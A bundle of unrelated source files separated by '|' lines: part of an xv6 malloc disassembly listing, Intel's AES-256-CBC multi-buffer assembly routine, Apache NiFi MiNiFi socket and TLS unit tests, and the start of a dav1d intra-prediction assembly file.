6b7: 5b pop %ebx
6b8: 5e pop %esi
6b9: 5f pop %edi
6ba: 5d pop %ebp
6bb: c3 ret
6bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000006c0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
6c0: 55 push %ebp
6c1: 89 e5 mov %esp,%ebp
6c3: 57 push %edi
6c4: 56 push %esi
6c5: 53 push %ebx
6c6: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6c9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
6cc: 8b 3d a4 0a 00 00 mov 0xaa4,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6d2: 8d 70 07 lea 0x7(%eax),%esi
6d5: c1 ee 03 shr $0x3,%esi
6d8: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
6db: 85 ff test %edi,%edi
6dd: 0f 84 ad 00 00 00 je 790 <malloc+0xd0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6e3: 8b 17 mov (%edi),%edx
if(p->s.size >= nunits){
6e5: 8b 4a 04 mov 0x4(%edx),%ecx
6e8: 39 ce cmp %ecx,%esi
6ea: 76 72 jbe 75e <malloc+0x9e>
6ec: 81 fe 00 10 00 00 cmp $0x1000,%esi
6f2: bb 00 10 00 00 mov $0x1000,%ebx
6f7: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
6fa: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
701: 89 45 e4 mov %eax,-0x1c(%ebp)
704: eb 1b jmp 721 <malloc+0x61>
706: 8d 76 00 lea 0x0(%esi),%esi
709: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
710: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
712: 8b 48 04 mov 0x4(%eax),%ecx
715: 39 f1 cmp %esi,%ecx
717: 73 4f jae 768 <malloc+0xa8>
719: 8b 3d a4 0a 00 00 mov 0xaa4,%edi
71f: 89 c2 mov %eax,%edx
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
721: 39 d7 cmp %edx,%edi
723: 75 eb jne 710 <malloc+0x50>
p = sbrk(nu * sizeof(Header));
725: 83 ec 0c sub $0xc,%esp
728: ff 75 e4 pushl -0x1c(%ebp)
72b: e8 09 fc ff ff call 339 <sbrk>
if(p == (char*)-1)
730: 83 c4 10 add $0x10,%esp
733: 83 f8 ff cmp $0xffffffff,%eax
736: 74 1c je 754 <malloc+0x94>
hp->s.size = nu;
738: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
73b: 83 ec 0c sub $0xc,%esp
73e: 83 c0 08 add $0x8,%eax
741: 50 push %eax
742: e8 e9 fe ff ff call 630 <free>
return freep;
747: 8b 15 a4 0a 00 00 mov 0xaa4,%edx
if((p = morecore(nunits)) == 0)
74d: 83 c4 10 add $0x10,%esp
750: 85 d2 test %edx,%edx
752: 75 bc jne 710 <malloc+0x50>
return 0;
}
}
754: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
757: 31 c0 xor %eax,%eax
}
759: 5b pop %ebx
75a: 5e pop %esi
75b: 5f pop %edi
75c: 5d pop %ebp
75d: c3 ret
if(p->s.size >= nunits){
75e: 89 d0 mov %edx,%eax
760: 89 fa mov %edi,%edx
762: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
768: 39 ce cmp %ecx,%esi
76a: 74 54 je 7c0 <malloc+0x100>
p->s.size -= nunits;
76c: 29 f1 sub %esi,%ecx
76e: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
771: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
774: 89 70 04 mov %esi,0x4(%eax)
freep = prevp;
777: 89 15 a4 0a 00 00 mov %edx,0xaa4
}
77d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
780: 83 c0 08 add $0x8,%eax
}
783: 5b pop %ebx
784: 5e pop %esi
785: 5f pop %edi
786: 5d pop %ebp
787: c3 ret
788: 90 nop
789: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
790: c7 05 a4 0a 00 00 a8 movl $0xaa8,0xaa4
797: 0a 00 00
base.s.size = 0;
79a: bf a8 0a 00 00 mov $0xaa8,%edi
base.s.ptr = freep = prevp = &base;
79f: c7 05 a8 0a 00 00 a8 movl $0xaa8,0xaa8
7a6: 0a 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7a9: 89 fa mov %edi,%edx
base.s.size = 0;
7ab: c7 05 ac 0a 00 00 00 movl $0x0,0xaac
7b2: 00 00 00
if(p->s.size >= nunits){
7b5: e9 32 ff ff ff jmp 6ec <malloc+0x2c>
7ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
7c0: 8b 08 mov (%eax),%ecx
7c2: 89 0a mov %ecx,(%edx)
7c4: eb b1 jmp 777 <malloc+0xb7>
|
;;
;; Copyright (c) 2012-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
;;; routine to do a 256 bit CBC AES encrypt
;;; process 4 buffers at a time, single data structure as input
;;; Updates In and Out pointers at end
%include "include/os.asm"
%include "include/mb_mgr_datastruct.asm"
%include "include/clear_regs.asm"
%define MOVDQ movdqu ;; assume buffers not aligned
%macro pxor2 2
MOVDQ XTMP, %2
pxor %1, XTMP
%endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; struct AES_ARGS {
;; void* in[8];
;; void* out[8];
;; UINT128* keys[8];
;; UINT128 IV[8];
;; }
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; void aes_cbc_enc_256_x4(AES_ARGS *args, UINT64 len);
;; arg 1: ARG : addr of AES_ARGS structure
;; arg 2: LEN : len (in units of bytes)
%ifdef LINUX
%define ARG rdi
%define LEN rsi
%define REG3 rcx
%define REG4 rdx
%else
%define ARG rcx
%define LEN rdx
%define REG3 rsi
%define REG4 rdi
%endif
%define IDX rax
%define IN0 r8
%define KEYS0 rbx
%define IN1 r10
%define KEYS1 REG3
%define IN2 r12
%define KEYS2 REG4
%define IN3 r14
%define KEYS3 rbp
%ifndef CBC_MAC
;; No cipher text write back for CBC-MAC
%define OUT0 r9
%define OUT1 r11
%define OUT2 r13
%define OUT3 r15
%endif
%define XDATA0 xmm0
%define XDATA1 xmm1
%define XDATA2 xmm2
%define XDATA3 xmm3
%define XKEY0_3 xmm4
%define XKEY0_6 [KEYS0 + 16*6]
%define XTMP xmm5
%define XKEY0_9 xmm6
%define XKEY1_3 xmm7
%define XKEY1_6 xmm8
%define XKEY1_9 xmm9
%define XKEY2_3 xmm10
%define XKEY2_6 xmm11
%define XKEY2_9 xmm12
%define XKEY3_3 xmm13
%define XKEY3_6 xmm14
%define XKEY3_9 xmm15
mksection .text
%ifndef AES_CBC_ENC_X4
%ifdef CBC_MAC
MKGLOBAL(aes256_cbc_mac_x4,function,internal)
aes256_cbc_mac_x4:
%else
MKGLOBAL(aes_cbc_enc_256_x4,function,internal)
aes_cbc_enc_256_x4:
%endif
%else ;; NO-AESNI
%ifdef CBC_MAC
MKGLOBAL(aes256_cbc_mac_x4_no_aesni,function,internal)
aes256_cbc_mac_x4_no_aesni:
%else
MKGLOBAL(aes_cbc_enc_256_x4_no_aesni,function,internal)
aes_cbc_enc_256_x4_no_aesni:
%endif
%endif ;; AES_CBC_ENC_X4
push rbp
mov IDX, 16
mov IN0, [ARG + _aesarg_in + 8*0]
mov IN1, [ARG + _aesarg_in + 8*1]
mov IN2, [ARG + _aesarg_in + 8*2]
mov IN3, [ARG + _aesarg_in + 8*3]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MOVDQ XDATA0, [IN0] ; load first block of plain text
MOVDQ XDATA1, [IN1] ; load first block of plain text
MOVDQ XDATA2, [IN2] ; load first block of plain text
MOVDQ XDATA3, [IN3] ; load first block of plain text
mov KEYS0, [ARG + _aesarg_keys + 8*0]
mov KEYS1, [ARG + _aesarg_keys + 8*1]
mov KEYS2, [ARG + _aesarg_keys + 8*2]
mov KEYS3, [ARG + _aesarg_keys + 8*3]
pxor XDATA0, [ARG + _aesarg_IV + 16*0] ; plaintext XOR IV
pxor XDATA1, [ARG + _aesarg_IV + 16*1] ; plaintext XOR IV
pxor XDATA2, [ARG + _aesarg_IV + 16*2] ; plaintext XOR IV
pxor XDATA3, [ARG + _aesarg_IV + 16*3] ; plaintext XOR IV
%ifndef CBC_MAC
mov OUT0, [ARG + _aesarg_out + 8*0]
mov OUT1, [ARG + _aesarg_out + 8*1]
mov OUT2, [ARG + _aesarg_out + 8*2]
mov OUT3, [ARG + _aesarg_out + 8*3]
%endif
pxor XDATA0, [KEYS0 + 16*0] ; 0. ARK
pxor XDATA1, [KEYS1 + 16*0] ; 0. ARK
pxor XDATA2, [KEYS2 + 16*0] ; 0. ARK
pxor XDATA3, [KEYS3 + 16*0] ; 0. ARK
aesenc XDATA0, [KEYS0 + 16*1] ; 1. ENC
aesenc XDATA1, [KEYS1 + 16*1] ; 1. ENC
aesenc XDATA2, [KEYS2 + 16*1] ; 1. ENC
aesenc XDATA3, [KEYS3 + 16*1] ; 1. ENC
aesenc XDATA0, [KEYS0 + 16*2] ; 2. ENC
aesenc XDATA1, [KEYS1 + 16*2] ; 2. ENC
aesenc XDATA2, [KEYS2 + 16*2] ; 2. ENC
aesenc XDATA3, [KEYS3 + 16*2] ; 2. ENC
movdqa XKEY0_3, [KEYS0 + 16*3] ; load round 3 key
movdqa XKEY1_3, [KEYS1 + 16*3] ; load round 3 key
movdqa XKEY2_3, [KEYS2 + 16*3] ; load round 3 key
movdqa XKEY3_3, [KEYS3 + 16*3] ; load round 3 key
aesenc XDATA0, XKEY0_3 ; 3. ENC
aesenc XDATA1, XKEY1_3 ; 3. ENC
aesenc XDATA2, XKEY2_3 ; 3. ENC
aesenc XDATA3, XKEY3_3 ; 3. ENC
aesenc XDATA0, [KEYS0 + 16*4] ; 4. ENC
aesenc XDATA1, [KEYS1 + 16*4] ; 4. ENC
aesenc XDATA2, [KEYS2 + 16*4] ; 4. ENC
aesenc XDATA3, [KEYS3 + 16*4] ; 4. ENC
aesenc XDATA0, [KEYS0 + 16*5] ; 5. ENC
aesenc XDATA1, [KEYS1 + 16*5] ; 5. ENC
aesenc XDATA2, [KEYS2 + 16*5] ; 5. ENC
aesenc XDATA3, [KEYS3 + 16*5] ; 5. ENC
movdqa XKEY1_6, [KEYS1 + 16*6] ; load round 6 key
movdqa XKEY2_6, [KEYS2 + 16*6] ; load round 6 key
movdqa XKEY3_6, [KEYS3 + 16*6] ; load round 6 key
aesenc XDATA0, XKEY0_6 ; 6. ENC
aesenc XDATA1, XKEY1_6 ; 6. ENC
aesenc XDATA2, XKEY2_6 ; 6. ENC
aesenc XDATA3, XKEY3_6 ; 6. ENC
aesenc XDATA0, [KEYS0 + 16*7] ; 7. ENC
aesenc XDATA1, [KEYS1 + 16*7] ; 7. ENC
aesenc XDATA2, [KEYS2 + 16*7] ; 7. ENC
aesenc XDATA3, [KEYS3 + 16*7] ; 7. ENC
aesenc XDATA0, [KEYS0 + 16*8] ; 8. ENC
aesenc XDATA1, [KEYS1 + 16*8] ; 8. ENC
aesenc XDATA2, [KEYS2 + 16*8] ; 8. ENC
aesenc XDATA3, [KEYS3 + 16*8] ; 8. ENC
movdqa XKEY0_9, [KEYS0 + 16*9] ; load round 9 key
movdqa XKEY1_9, [KEYS1 + 16*9] ; load round 9 key
movdqa XKEY2_9, [KEYS2 + 16*9] ; load round 9 key
movdqa XKEY3_9, [KEYS3 + 16*9] ; load round 9 key
aesenc XDATA0, XKEY0_9 ; 9. ENC
aesenc XDATA1, XKEY1_9 ; 9. ENC
aesenc XDATA2, XKEY2_9 ; 9. ENC
aesenc XDATA3, XKEY3_9 ; 9. ENC
aesenc XDATA0, [KEYS0 + 16*10] ; 10. ENC
aesenc XDATA1, [KEYS1 + 16*10] ; 10. ENC
aesenc XDATA2, [KEYS2 + 16*10] ; 10. ENC
aesenc XDATA3, [KEYS3 + 16*10] ; 10. ENC
aesenc XDATA0, [KEYS0 + 16*11] ; 11. ENC
aesenc XDATA1, [KEYS1 + 16*11] ; 11. ENC
aesenc XDATA2, [KEYS2 + 16*11] ; 11. ENC
aesenc XDATA3, [KEYS3 + 16*11] ; 11. ENC
aesenc XDATA0, [KEYS0 + 16*12] ; 12. ENC
aesenc XDATA1, [KEYS1 + 16*12] ; 12. ENC
aesenc XDATA2, [KEYS2 + 16*12] ; 12. ENC
aesenc XDATA3, [KEYS3 + 16*12] ; 12. ENC
aesenc XDATA0, [KEYS0 + 16*13] ; 13. ENC
aesenc XDATA1, [KEYS1 + 16*13] ; 13. ENC
aesenc XDATA2, [KEYS2 + 16*13] ; 13. ENC
aesenc XDATA3, [KEYS3 + 16*13] ; 13. ENC
aesenclast XDATA0, [KEYS0 + 16*14] ; 14. ENC
aesenclast XDATA1, [KEYS1 + 16*14] ; 14. ENC
aesenclast XDATA2, [KEYS2 + 16*14] ; 14. ENC
aesenclast XDATA3, [KEYS3 + 16*14] ; 14. ENC
%ifndef CBC_MAC
MOVDQ [OUT0], XDATA0 ; write back ciphertext
MOVDQ [OUT1], XDATA1 ; write back ciphertext
MOVDQ [OUT2], XDATA2 ; write back ciphertext
MOVDQ [OUT3], XDATA3 ; write back ciphertext
%endif
cmp LEN, IDX
je done
main_loop:
pxor2 XDATA0, [IN0 + IDX] ; plaintext XOR IV
pxor2 XDATA1, [IN1 + IDX] ; plaintext XOR IV
pxor2 XDATA2, [IN2 + IDX] ; plaintext XOR IV
pxor2 XDATA3, [IN3 + IDX] ; plaintext XOR IV
pxor XDATA0, [KEYS0 + 16*0] ; 0. ARK
pxor XDATA1, [KEYS1 + 16*0] ; 0. ARK
pxor XDATA2, [KEYS2 + 16*0] ; 0. ARK
pxor XDATA3, [KEYS3 + 16*0] ; 0. ARK
aesenc XDATA0, [KEYS0 + 16*1] ; 1. ENC
aesenc XDATA1, [KEYS1 + 16*1] ; 1. ENC
aesenc XDATA2, [KEYS2 + 16*1] ; 1. ENC
aesenc XDATA3, [KEYS3 + 16*1] ; 1. ENC
aesenc XDATA0, [KEYS0 + 16*2] ; 2. ENC
aesenc XDATA1, [KEYS1 + 16*2] ; 2. ENC
aesenc XDATA2, [KEYS2 + 16*2] ; 2. ENC
aesenc XDATA3, [KEYS3 + 16*2] ; 2. ENC
aesenc XDATA0, XKEY0_3 ; 3. ENC
aesenc XDATA1, XKEY1_3 ; 3. ENC
aesenc XDATA2, XKEY2_3 ; 3. ENC
aesenc XDATA3, XKEY3_3 ; 3. ENC
aesenc XDATA0, [KEYS0 + 16*4] ; 4. ENC
aesenc XDATA1, [KEYS1 + 16*4] ; 4. ENC
aesenc XDATA2, [KEYS2 + 16*4] ; 4. ENC
aesenc XDATA3, [KEYS3 + 16*4] ; 4. ENC
aesenc XDATA0, [KEYS0 + 16*5] ; 5. ENC
aesenc XDATA1, [KEYS1 + 16*5] ; 5. ENC
aesenc XDATA2, [KEYS2 + 16*5] ; 5. ENC
aesenc XDATA3, [KEYS3 + 16*5] ; 5. ENC
aesenc XDATA0, XKEY0_6 ; 6. ENC
aesenc XDATA1, XKEY1_6 ; 6. ENC
aesenc XDATA2, XKEY2_6 ; 6. ENC
aesenc XDATA3, XKEY3_6 ; 6. ENC
aesenc XDATA0, [KEYS0 + 16*7] ; 7. ENC
aesenc XDATA1, [KEYS1 + 16*7] ; 7. ENC
aesenc XDATA2, [KEYS2 + 16*7] ; 7. ENC
aesenc XDATA3, [KEYS3 + 16*7] ; 7. ENC
aesenc XDATA0, [KEYS0 + 16*8] ; 8. ENC
aesenc XDATA1, [KEYS1 + 16*8] ; 8. ENC
aesenc XDATA2, [KEYS2 + 16*8] ; 8. ENC
aesenc XDATA3, [KEYS3 + 16*8] ; 8. ENC
aesenc XDATA0, XKEY0_9 ; 9. ENC
aesenc XDATA1, XKEY1_9 ; 9. ENC
aesenc XDATA2, XKEY2_9 ; 9. ENC
aesenc XDATA3, XKEY3_9 ; 9. ENC
aesenc XDATA0, [KEYS0 + 16*10] ; 10. ENC
aesenc XDATA1, [KEYS1 + 16*10] ; 10. ENC
aesenc XDATA2, [KEYS2 + 16*10] ; 10. ENC
aesenc XDATA3, [KEYS3 + 16*10] ; 10. ENC
aesenc XDATA0, [KEYS0 + 16*11] ; 11. ENC
aesenc XDATA1, [KEYS1 + 16*11] ; 11. ENC
aesenc XDATA2, [KEYS2 + 16*11] ; 11. ENC
aesenc XDATA3, [KEYS3 + 16*11] ; 11. ENC
aesenc XDATA0, [KEYS0 + 16*12] ; 12. ENC
aesenc XDATA1, [KEYS1 + 16*12] ; 12. ENC
aesenc XDATA2, [KEYS2 + 16*12] ; 12. ENC
aesenc XDATA3, [KEYS3 + 16*12] ; 12. ENC
aesenc XDATA0, [KEYS0 + 16*13] ; 13. ENC
aesenc XDATA1, [KEYS1 + 16*13] ; 13. ENC
aesenc XDATA2, [KEYS2 + 16*13] ; 13. ENC
aesenc XDATA3, [KEYS3 + 16*13] ; 13. ENC
aesenclast XDATA0, [KEYS0 + 16*14] ; 14. ENC
aesenclast XDATA1, [KEYS1 + 16*14] ; 14. ENC
aesenclast XDATA2, [KEYS2 + 16*14] ; 14. ENC
aesenclast XDATA3, [KEYS3 + 16*14] ; 14. ENC
%ifndef CBC_MAC
;; No cipher text write back for CBC-MAC
MOVDQ [OUT0 + IDX], XDATA0 ; write back ciphertext
MOVDQ [OUT1 + IDX], XDATA1 ; write back ciphertex
MOVDQ [OUT2 + IDX], XDATA2 ; write back ciphertex
MOVDQ [OUT3 + IDX], XDATA3 ; write back ciphertex
%endif
add IDX, 16
cmp LEN, IDX
jne main_loop
done:
;; update IV
movdqa [ARG + _aesarg_IV + 16*0], XDATA0
movdqa [ARG + _aesarg_IV + 16*1], XDATA1
movdqa [ARG + _aesarg_IV + 16*2], XDATA2
movdqa [ARG + _aesarg_IV + 16*3], XDATA3
;; update IN and OUT
add IN0, LEN
mov [ARG + _aesarg_in + 8*0], IN0
add IN1, LEN
mov [ARG + _aesarg_in + 8*1], IN1
add IN2, LEN
mov [ARG + _aesarg_in + 8*2], IN2
add IN3, LEN
mov [ARG + _aesarg_in + 8*3], IN3
%ifndef CBC_MAC
;; No OUT pointer updates for CBC-MAC
add OUT0, LEN
mov [ARG + _aesarg_out + 8*0], OUT0
add OUT1, LEN
mov [ARG + _aesarg_out + 8*1], OUT1
add OUT2, LEN
mov [ARG + _aesarg_out + 8*2], OUT2
add OUT3, LEN
mov [ARG + _aesarg_out + 8*3], OUT3
%endif
pop rbp
%ifdef SAFE_DATA
clear_all_xmms_sse_asm
%endif ;; SAFE_DATA
ret
mksection stack-noexec
|
/**
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <thread>
#include <random>
#include <chrono>
#include <vector>
#include <string>
#include <memory>
#include <utility>
#include "../TestBase.h"
#include "io/StreamFactory.h"
#include "io/ClientSocket.h"
#include "io/ServerSocket.h"
#include "io/tls/TLSSocket.h"
#include "utils/ThreadPool.h"
TEST_CASE("TestSocket", "[TestSocket1]") {
org::apache::nifi::minifi::io::Socket socket(std::make_shared<org::apache::nifi::minifi::io::SocketContext>(std::make_shared<minifi::Configure>()), "localhost", 8183);
REQUIRE(-1 == socket.initialize());
REQUIRE(socket.getHostname().rfind("localhost", 0) == 0);
socket.closeStream();
}
TEST_CASE("TestSocketWriteTest1", "[TestSocket2]") {
org::apache::nifi::minifi::io::Socket socket(std::make_shared<org::apache::nifi::minifi::io::SocketContext>(std::make_shared<minifi::Configure>()), "localhost", 8183);
REQUIRE(-1 == socket.initialize());
socket.writeData(0, 0);
std::vector<uint8_t> buffer;
buffer.push_back('a');
REQUIRE(-1 == socket.writeData(buffer, 1));
socket.closeStream();
}
TEST_CASE("TestSocketWriteTest2", "[TestSocket3]") {
std::vector<uint8_t> buffer;
buffer.push_back('a');
std::shared_ptr<org::apache::nifi::minifi::io::SocketContext> socket_context = std::make_shared<org::apache::nifi::minifi::io::SocketContext>(std::make_shared<minifi::Configure>());
org::apache::nifi::minifi::io::ServerSocket server(socket_context, "localhost", 9183, 1);
REQUIRE(-1 != server.initialize());
org::apache::nifi::minifi::io::Socket client(socket_context, "localhost", 9183);
REQUIRE(-1 != client.initialize());
REQUIRE(1 == client.writeData(buffer, 1));
std::vector<uint8_t> readBuffer;
readBuffer.resize(1);
REQUIRE(1 == server.readData(readBuffer, 1));
REQUIRE(readBuffer == buffer);
server.closeStream();
client.closeStream();
}
TEST_CASE("TestGetHostName", "[TestSocket4]") {
REQUIRE(org::apache::nifi::minifi::io::Socket::getMyHostName().length() > 0);
}
TEST_CASE("TestWriteEndian64", "[TestSocket5]") {
std::vector<uint8_t> buffer;
buffer.push_back('a');
std::shared_ptr<org::apache::nifi::minifi::io::SocketContext> socket_context = std::make_shared<org::apache::nifi::minifi::io::SocketContext>(std::make_shared<minifi::Configure>());
org::apache::nifi::minifi::io::ServerSocket server(socket_context, "localhost", 9183, 1);
REQUIRE(-1 != server.initialize());
org::apache::nifi::minifi::io::Socket client(socket_context, "localhost", 9183);
REQUIRE(-1 != client.initialize());
uint64_t negative_one = -1;
REQUIRE(8 == client.write(negative_one));
uint64_t negative_two = 0;
REQUIRE(8 == server.read(negative_two));
REQUIRE(negative_two == negative_one);
server.closeStream();
client.closeStream();
}
TEST_CASE("TestWriteEndian32", "[TestSocket6]") {
std::vector<uint8_t> buffer;
buffer.push_back('a');
std::shared_ptr<org::apache::nifi::minifi::io::SocketContext> socket_context = std::make_shared<org::apache::nifi::minifi::io::SocketContext>(std::make_shared<minifi::Configure>());
org::apache::nifi::minifi::io::ServerSocket server(socket_context, "localhost", 9183, 1);
REQUIRE(-1 != server.initialize());
org::apache::nifi::minifi::io::Socket client(socket_context, "localhost", 9183);
REQUIRE(-1 != client.initialize());
{
uint32_t negative_one = -1;
REQUIRE(4 == client.write(negative_one));
uint32_t negative_two = 0;
REQUIRE(4 == server.read(negative_two));
REQUIRE(negative_two == negative_one);
}
{
uint16_t negative_one = -1;
REQUIRE(2 == client.write(negative_one));
uint16_t negative_two = 0;
REQUIRE(2 == server.read(negative_two));
REQUIRE(negative_two == negative_one);
}
server.closeStream();
client.closeStream();
}
TEST_CASE("TestSocketWriteTestAfterClose", "[TestSocket7]") {
std::vector<uint8_t> buffer;
buffer.push_back('a');
std::shared_ptr<org::apache::nifi::minifi::io::SocketContext> socket_context = std::make_shared<org::apache::nifi::minifi::io::SocketContext>(std::make_shared<minifi::Configure>());
org::apache::nifi::minifi::io::ServerSocket server(socket_context, "localhost", 9183, 1);
REQUIRE(-1 != server.initialize());
org::apache::nifi::minifi::io::Socket client(socket_context, "localhost", 9183);
REQUIRE(-1 != client.initialize());
REQUIRE(1 == client.writeData(buffer, 1));
std::vector<uint8_t> readBuffer;
readBuffer.resize(1);
REQUIRE(1 == server.readData(readBuffer, 1));
REQUIRE(readBuffer == buffer);
client.closeStream();
REQUIRE(-1 == client.writeData(buffer, 1));
server.closeStream();
}
std::atomic<uint8_t> counter;
std::mt19937_64 seed { std::random_device { }() };
bool createSocket() {
int mine = counter++;
std::shared_ptr<minifi::Configure> configuration = std::make_shared<minifi::Configure>();
std::uniform_int_distribution<> distribution { 10, 100 };
std::this_thread::sleep_for(std::chrono::milliseconds { distribution(seed) });
for (int i = 0; i < 50; i++) {
std::shared_ptr<org::apache::nifi::minifi::io::TLSContext> socketA = std::make_shared<org::apache::nifi::minifi::io::TLSContext>(configuration);
socketA->initialize();
}
return true;
}
/**
* MINIFI-320 was created to address reallocations within TLSContext
* This test will create 20 threads that attempt to create contexts
* to ensure we no longer see the segfaults.
*/
TEST_CASE("TestTLSContextCreation", "[TestSocket8]") {
utils::ThreadPool<bool> pool(20, true);
std::vector<std::future<bool>> futures;
for (int i = 0; i < 20; i++) {
std::function<bool()> f_ex = createSocket;
utils::Worker<bool> functor(f_ex, "id");
std::future<bool> fut;
REQUIRE(true == pool.execute(std::move(functor), fut));
futures.push_back(std::move(fut));
}
pool.start();
for (auto &&future : futures) {
future.wait();
}
REQUIRE(20 == counter.load());
}
/**
* MINIFI-329 was created in regards to an option existing but not
* being properly evaluated.
*/
TEST_CASE("TestTLSContextCreation2", "[TestSocket9]") {
std::shared_ptr<minifi::Configure> configure = std::make_shared<minifi::Configure>();
configure->set("nifi.remote.input.secure", "false");
auto factory = minifi::io::StreamFactory::getInstance(configure);
std::string host = "localhost";
minifi::io::Socket *socket = factory->createSocket(host, 10001).release();
minifi::io::TLSSocket *tls = dynamic_cast<minifi::io::TLSSocket*>(socket);
REQUIRE(tls == nullptr);
}
/**
* MINIFI-329 was created in regards to an option existing but not
* being properly evaluated.
*/
TEST_CASE("TestTLSContextCreationNullptr", "[TestSocket10]") {
std::shared_ptr<minifi::Configure> configure = std::make_shared<minifi::Configure>();
configure->set("nifi.remote.input.secure", "false");
auto factory = minifi::io::StreamFactory::getInstance(configure);
std::string host = "localhost";
minifi::io::Socket *socket = factory->createSecureSocket(host, 10001, nullptr).release();
minifi::io::TLSSocket *tls = dynamic_cast<minifi::io::TLSSocket*>(socket);
REQUIRE(tls == nullptr);
}
|
; Copyright © 2022, VideoLAN and dav1d authors
; Copyright © 2022, Two Orioles, LLC
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%include "config.asm"
%include "ext/x86/x86inc.asm"
%if ARCH_X86_64
SECTION_RODATA 64
ipred_shuf: db 14, 15, 14, 15, 0, 1, 2, 3, 6, 7, 6, 7, 0, 1, 2, 3
db 10, 11, 10, 11, 8, 9, 10, 11, 2, 3, 2, 3, 8, 9, 10, 11
db 12, 13, 12, 13, 4, 5, 6, 7, 4, 5, 4, 5, 4, 5, 6, 7
db 8, 9, 8, 9, 12, 13, 14, 15, 0, 1, 0, 1, 12, 13, 14, 15
